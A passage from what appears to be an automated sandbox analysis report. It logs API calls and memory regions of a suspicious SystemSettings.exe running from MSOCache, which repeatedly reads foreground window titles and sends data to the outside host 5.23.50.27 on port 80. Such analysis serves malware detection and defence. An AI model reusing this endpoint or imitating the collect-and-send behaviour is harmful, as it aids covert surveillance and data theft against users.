exceptfds=0x0, timeout=0x1e2fe0a8*(tv_sec=0, tv_usec=0) | out: readfds=0x26861b8, writefds=0x0, exceptfds=0x0) returned 1 [0275.265] shutdown (s=0x798, how=2) returned 0 [0275.266] setsockopt (s=0x798, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0275.266] closesocket (s=0x798) returned 0 [0275.266] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x798 [0275.267] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x778 [0275.267] WSAConnect (in: s=0x798, name=0x26867e0*(sa_family=2, sin_port=0x50, sin_addr="5.23.50.27"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0275.321] closesocket (s=0x778) returned 0 [0275.322] send (s=0x798, buf=0x2688148*, len=2711, flags=0) returned 2711 [0275.323] setsockopt (s=0x798, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0275.323] recv (in: s=0x798, buf=0x22f7110, len=4096, flags=0 | out: buf=0x22f7110*) returned 262 [0294.554] setsockopt (s=0x798, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0294.554] SetEvent (hEvent=0x2e4) returned 1 [0294.555] shutdown (s=0x798, how=2) returned 0 [0294.561] closesocket (s=0x798) returned 0 [0294.568] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe978 | out: lpPerformanceCount=0x1e2fe978*=2842245995876) returned 1 [0295.573] GetForegroundWindow () returned 0x1038e [0295.573] CoTaskMemAlloc (cb=0x804) returned 0x1b20b4e0 [0295.573] GetWindowTextW (in: hWnd=0x1038e, lpString=0x1b20b4e0, nMaxCount=1024 | out: lpString="Production") returned 10 [0295.574] CoTaskMemFree (pv=0x1b20b4e0) [0295.579] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe258 | out: lpPerformanceCount=0x1e2fe258*=2842347046194) returned 1 [0295.580] SetEvent (hEvent=0x2e4) returned 1 [0295.582] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x798 [0295.584] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x4f8 [0295.584] WSAConnect (in: s=0x798, name=0x2739cd8*(sa_family=2, sin_port=0x50, sin_addr="5.23.50.27"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0295.649] closesocket (s=0x4f8) returned 0 [0295.649] send (s=0x798, buf=0x277c558*, len=2711, flags=0) returned 2711 [0295.651] setsockopt (s=0x798, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0295.651] recv (in: s=0x798, buf=0x22f7110, len=4096, flags=0 | out: buf=0x22f7110*) returned 267 [0296.761] setsockopt (s=0x798, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0296.761] SetEvent (hEvent=0x2e4) returned 1 [0296.764] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe978 | out: lpPerformanceCount=0x1e2fe978*=2842465539054) returned 1 [0297.773] GetForegroundWindow () returned 0x100e2 [0297.774] CoTaskMemAlloc (cb=0x804) returned 0x1b209cb0 [0297.774] GetWindowTextW (in: hWnd=0x100e2, lpString=0x1b209cb0, nMaxCount=1024 | out: lpString="FolderView") returned 10 [0297.774] CoTaskMemFree (pv=0x1b209cb0) [0297.780] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe258 | out: lpPerformanceCount=0x1e2fe258*=2842567160213) returned 1 [0297.780] SetEvent (hEvent=0x2e4) returned 1 [0297.782] select (in: nfds=0, readfds=0x28bfbd8, writefds=0x0, exceptfds=0x0, timeout=0x1e2fe0a8*(tv_sec=0, tv_usec=0) | out: readfds=0x28bfbd8, writefds=0x0, exceptfds=0x0) returned 0 [0297.782] send (s=0x798, buf=0x28c1530*, len=2711, flags=0) returned 2711 [0297.783] setsockopt (s=0x798, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0297.783] recv (in: s=0x798, buf=0x22f7110, len=4096, flags=0 | out: buf=0x22f7110*) returned 267 [0297.897] setsockopt (s=0x798, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0297.897] SetEvent (hEvent=0x2e4) returned 1 [0297.903] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe978 | out: lpPerformanceCount=0x1e2fe978*=2842579491949) returned 1 [0298.914] GetForegroundWindow () returned 0x1038e [0298.915] CoTaskMemAlloc (cb=0x804) returned 0x1b20cd10 [0298.915] GetWindowTextW (in: hWnd=0x1038e, lpString=0x1b20cd10, nMaxCount=1024 | out: lpString="Production") returned 10 [0298.915] CoTaskMemFree (pv=0x1b20cd10) [0298.919] QueryPerformanceCounter (in: lpPerformanceCount=0x1e2fe258 | out: lpPerformanceCount=0x1e2fe258*=2842681001375) returned 1 [0298.919] SetEvent (hEvent=0x2e4) returned 1 [0298.920] select (in: nfds=0, readfds=0x26da408, writefds=0x0, exceptfds=0x0, timeout=0x1e2fe0a8*(tv_sec=0, tv_usec=0) | out: readfds=0x26da408, writefds=0x0, exceptfds=0x0) returned 0 [0298.920] send (s=0x798, buf=0x26dbd60*, len=2711, flags=0) returned 2711 [0298.921] setsockopt (s=0x798, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0298.921] recv (s=0x798, buf=0x22f7110, len=4096, flags=0) Thread: id = 278 os_tid = 0xd2c Thread: id = 279 os_tid = 0xd28 Thread: id = 280 os_tid = 0xdb8 Thread: id = 285 os_tid = 0xdcc [0250.158] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0250.159] RoInitialize () returned 0x1 [0250.159] RoUninitialize () returned 0x0 [0250.372] CoUninitialize () Thread: id = 287 os_tid = 0x12f8 Thread: id = 289 os_tid = 0xd38 Thread: id = 291 os_tid = 0xdc4 Process: id = "22" image_name = "systemsettings.exe" filename = "c:\\msocache\\all users\\systemsettings.exe" page_root = "0x6e9cb000" os_pid = "0xb58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x364" cmd_line = "\"C:\\MSOCache\\All Users\\SystemSettings.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3613 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3614 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3615 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3616 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3617 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3618 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3619 start_va = 0xc30000 end_va = 0xe29fff monitored = 1 entry_point = 0xe2131e region_type = mapped_file name = "systemsettings.exe" filename = "\\MSOCache\\All Users\\SystemSettings.exe" (normalized: "c:\\msocache\\all users\\systemsettings.exe") Region: id = 3620 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3621 start_va = 0x7ff5ffb90000 end_va = 0x7ff5ffbb2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffb90000" filename = "" Region: id = 3622 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3877 start_va = 0x400000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3878 start_va = 0x7ffb06a40000 end_va = 0x7ffb06aa7fff monitored = 1 entry_point = 0x7ffb06a44970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3879 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3880 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4253 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4254 start_va = 0x7ff5ffa90000 end_va = 0x7ff5ffb8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffa90000" filename = "" Region: id = 4255 start_va = 0x170000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 4256 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4257 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 4258 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4259 start_va = 0x7ffb1afd0000 end_va = 0x7ffb1b048fff monitored = 0 entry_point = 0x7ffb1afefb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4260 start_va = 0x7ff5ffa10000 end_va = 0x7ff5ffa8dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 5054 start_va = 0x7ffb1faf0000 end_va = 0x7ffb1fb96fff monitored = 0 entry_point = 0x7ffb1fb058d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5055 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5056 start_va = 0x6a0000 end_va = 0x79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006a0000" filename = "" Region: id = 5057 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5058 start_va = 0x170000 end_va = 0x176fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 5059 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 5060 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5061 start_va = 0x7a0000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007a0000" filename = "" Region: id = 5062 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 5063 start_va = 0x7ffb06770000 end_va = 0x7ffb0680cfff monitored = 1 entry_point = 0x7ffb06771010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 5689 start_va = 0x7ffb1da70000 end_va = 0x7ffb1dac1fff monitored = 0 entry_point = 0x7ffb1da7f530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5690 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5691 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 5692 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5693 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5694 start_va = 0x190000 end_va = 0x1c8fff monitored = 0 entry_point = 0x1912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5695 start_va = 0x7a0000 end_va = 0x927fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007a0000" filename = "" Region: id = 5696 start_va = 0x980000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 5697 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5990 start_va = 0x990000 end_va = 0xb10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000990000" filename = "" Region: id = 5991 start_va = 0xe30000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e30000" filename = "" Region: id = 6246 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 6247 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 6248 start_va = 0x2230000 end_va = 0x2422fff monitored = 1 entry_point = 0x242131e region_type = mapped_file name = "systemsettings.exe" filename = "\\MSOCache\\All Users\\SystemSettings.exe" (normalized: "c:\\msocache\\all users\\systemsettings.exe") Region: id = 6249 start_va = 0x7ffb1c7f0000 end_va = 0x7ffb1c7fefff monitored = 0 entry_point = 0x7ffb1c7f3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 6250 start_va = 0x7ffb1aed0000 end_va = 0x7ffb1aed9fff monitored = 0 entry_point = 0x7ffb1aed1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 6251 start_va = 0x7ffb02200000 end_va = 0x7ffb02be5fff monitored = 1 entry_point = 0x7ffb02205b60 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 6260 start_va = 0x7ffb06670000 end_va = 0x7ffb06766fff monitored = 0 entry_point = 0x7ffb06694d80 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\System32\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll") Region: id = 6494 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 6495 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 6496 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 6736 start_va = 0x7ffaa2ad0000 end_va = 0x7ffaa2adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ad0000" filename = "" Region: id = 6737 start_va = 0x7ffaa2ae0000 end_va = 0x7ffaa2aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2ae0000" filename = "" Region: id = 6738 start_va = 0x7ffaa2af0000 end_va = 0x7ffaa2b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2af0000" filename = "" Region: id = 6739 start_va = 0x7ffaa2b80000 end_va = 0x7ffaa2beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2b80000" filename = "" Region: id = 6740 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 6741 start_va = 0x4c0000 end_va = 0x4c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 6742 start_va = 0xb20000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 6743 start_va = 0x2230000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002230000" filename = "" Region: id = 6744 start_va = 0x2280000 end_va = 0x237ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 6904 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 6905 start_va = 0x2380000 end_va = 0x1a37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 6906 start_va = 0x1a380000 end_va = 0x1a6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a380000" filename = "" Region: id = 6907 start_va = 0x1a6f0000 end_va = 0x1a7fcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6f0000" filename = "" Region: id = 6908 start_va = 0x7ffb1fea0000 end_va = 0x7ffb1fea7fff monitored = 0 entry_point = 0x7ffb1fea10b0 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 7020 start_va = 0x1a800000 end_va = 0x1a8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 7736 start_va = 0x1a900000 end_va = 0x1ac36fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8020 start_va = 0x7ffb00d10000 end_va = 0x7ffb021f7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\f89061884b75dab0e3967d7221e5290d\\mscorlib.ni.dll") Region: id = 8338 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8339 start_va = 0x4d0000 end_va = 0x58ffff monitored = 0 entry_point = 0x4f0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 8340 start_va = 0x6a0000 end_va = 0x77cfff monitored = 0 entry_point = 0x6fe0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8627 start_va = 0x1ac40000 end_va = 0x1ad3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ac40000" filename = "" Region: id = 8855 start_va = 0x1ad40000 end_va = 0x1ae3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad40000" filename = "" Region: id = 8856 start_va = 0x7ffb1b150000 end_va = 0x7ffb1b1e5fff monitored = 0 entry_point = 0x7ffb1b175570 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8857 start_va = 0x1ae40000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae40000" filename = "" Region: id = 9168 start_va = 0x7ff5ff9f0000 end_va = 0x7ff5ffa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff9f0000" filename = "" Region: id = 9169 start_va = 0x7ff5ff9e0000 end_va = 0x7ff5ff9effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ff5ff9e0000" filename = "" Region: id = 9171 start_va = 0x7ffaa2bf0000 end_va = 0x7ffaa2bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2bf0000" filename = "" Region: id = 9172 start_va = 0x7ffaa2c00000 end_va = 0x7ffaa2c0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c00000" filename = "" Region: id = 9173 start_va = 0x7ffaa2c10000 end_va = 0x7ffaa2c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffaa2c10000" filename = "" Region: id = 9174 start_va = 0x7ffb06560000 end_va = 0x7ffb0666dfff monitored = 1 entry_point = 0x7ffb06561080 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 9175 start_va = 0x7ffb200e0000 end_va = 0x7ffb201a0fff monitored = 0 entry_point = 0x7ffb20100da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 9176 start_va = 0x1ae40000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae40000" filename = "" Region: id = 9177 start_va = 0x1b030000 end_va = 0x1b03ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b030000" filename = "" Region: id = 9178 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 9181 start_va = 0x7ffb000c0000 end_va = 0x7ffb00d03fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\60b77585c8aa9cfd1b30a64092c81041\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\60b77585c8aa9cfd1b30a64092c81041\\system.ni.dll") Region: id = 9186 start_va = 0x7ffaff730000 end_va = 0x7ffb000b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Core\\d1da4b8a843ec63bb8be25f8202bedc1\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.core\\d1da4b8a843ec63bb8be25f8202bedc1\\system.core.ni.dll") Region: id = 9190 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9191 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9192 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9193 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9195 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9196 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 9197 start_va = 0x1b040000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b040000" filename = "" Region: id = 9199 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9207 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9214 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9216 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 9217 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 9219 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9220 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9224 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9225 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9230 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 9233 start_va = 0x4e0000 end_va = 0x4e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 9234 start_va = 0x7ffb1d830000 end_va = 0x7ffb1d8d6fff monitored = 0 entry_point = 0x7ffb1d83b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 9235 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004f0000" filename = "" Region: id = 9236 start_va = 0x6a0000 end_va = 0x77cfff monitored = 0 entry_point = 0x6fe0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 9237 start_va = 0x1b040000 end_va = 0x1b13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b040000" filename = "" Region: id = 9238 start_va = 0x1b230000 end_va = 0x1b23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b230000" filename = "" Region: id = 9240 start_va = 0x500000 end_va = 0x52dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 9241 start_va = 0x530000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 9242 start_va = 0x1b240000 end_va = 0x1b33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b240000" filename = "" Region: id 